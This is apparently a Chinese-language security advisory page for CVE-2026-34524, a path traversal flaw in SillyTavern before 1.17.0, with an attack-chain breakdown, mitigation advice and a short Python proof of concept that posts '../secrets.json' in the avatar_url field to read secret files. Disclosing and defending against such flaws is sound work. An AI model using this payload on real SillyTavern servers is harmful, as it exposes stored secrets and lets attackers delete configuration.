IPBUF安全漏洞报告
English
CVE-2026-34524 CVSS 8.3 高危

CVE-2026-34524 SillyTavern路径遍历漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-34524
漏洞类型
路径遍历
CVSS评分
8.3 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SillyTavern

相关标签

路径遍历SillyTavern文件读取文件删除CVE-2026-34524

漏洞概述

SillyTavern是一个本地安装的用户界面,允许用户与大语言模型及图像生成引擎交互。在1.17.0版本之前,该应用在聊天端点存在路径遍历漏洞。经过身份认证的攻击者可以通过操纵avatar_url参数(例如设置为“..”),绕过目录限制读取或删除用户数据根目录下的任意文件,如secrets.json和settings.json。该漏洞可能导致敏感信息泄露及配置丢失,目前已在1.17.0版本中修复。

技术细节

该漏洞源于SillyTavern在处理聊天端点请求时,对avatar_url参数缺乏充分的校验和规范化处理。攻击者利用低权限账户(PR:L)发送特制请求,在avatar_url字段中注入路径遍历序列(如“../”)。由于应用程序未正确解析相对路径,导致该参数被直接用于文件系统操作。利用此漏洞,攻击者可以向上遍历目录结构,访问并操作用户数据根目录之外的文件。根据CVSS向量分析,该漏洞不仅导致高机密性影响(C:H,读取敏感文件),还导致高完整性影响(I:H,删除关键配置文件),对系统安全构成严重威胁。

攻击链分析

STEP 1
侦察与认证
攻击者识别目标运行的是SillyTavern应用,并获取一个低权限的认证账户。
STEP 2
构造恶意请求
攻击者向聊天端点发送POST请求,并在avatar_url参数中注入路径遍历字符(如“../secrets.json”),试图访问根目录之外的文件。
STEP 3
执行攻击
服务器端未正确过滤该参数,解析请求后读取或删除了指定的敏感文件。
STEP 4
数据泄露与破坏
攻击者获取了secrets.json等敏感信息,或删除了settings.json导致服务异常。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC Example for CVE-2026-34524 # Requires valid authentication token import requests target = "http://target-ip:port/api/chat/endpoint" auth_token = "YOUR_AUTH_TOKEN_HERE" headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # Payload to read secrets.json using path traversal payload = { "avatar_url": "../secrets.json", "text": "trigger_payload" } response = requests.post(target, json=payload, headers=headers) if response.status_code == 200: print("[+] Vulnerability exploited successfully!") print("[+] Response:", response.text) else: print("[-] Failed to exploit")

影响范围

SillyTavern < 1.17.0

防御指南

临时缓解措施
建议立即将SillyTavern更新到1.17.0或更高版本以彻底修复此漏洞。在无法立即升级的情况下,应严格限制对SillyTavern接口的网络访问,确保仅受信任的内部用户可以访问,并密切监控系统日志中是否存在异常的文件访问请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表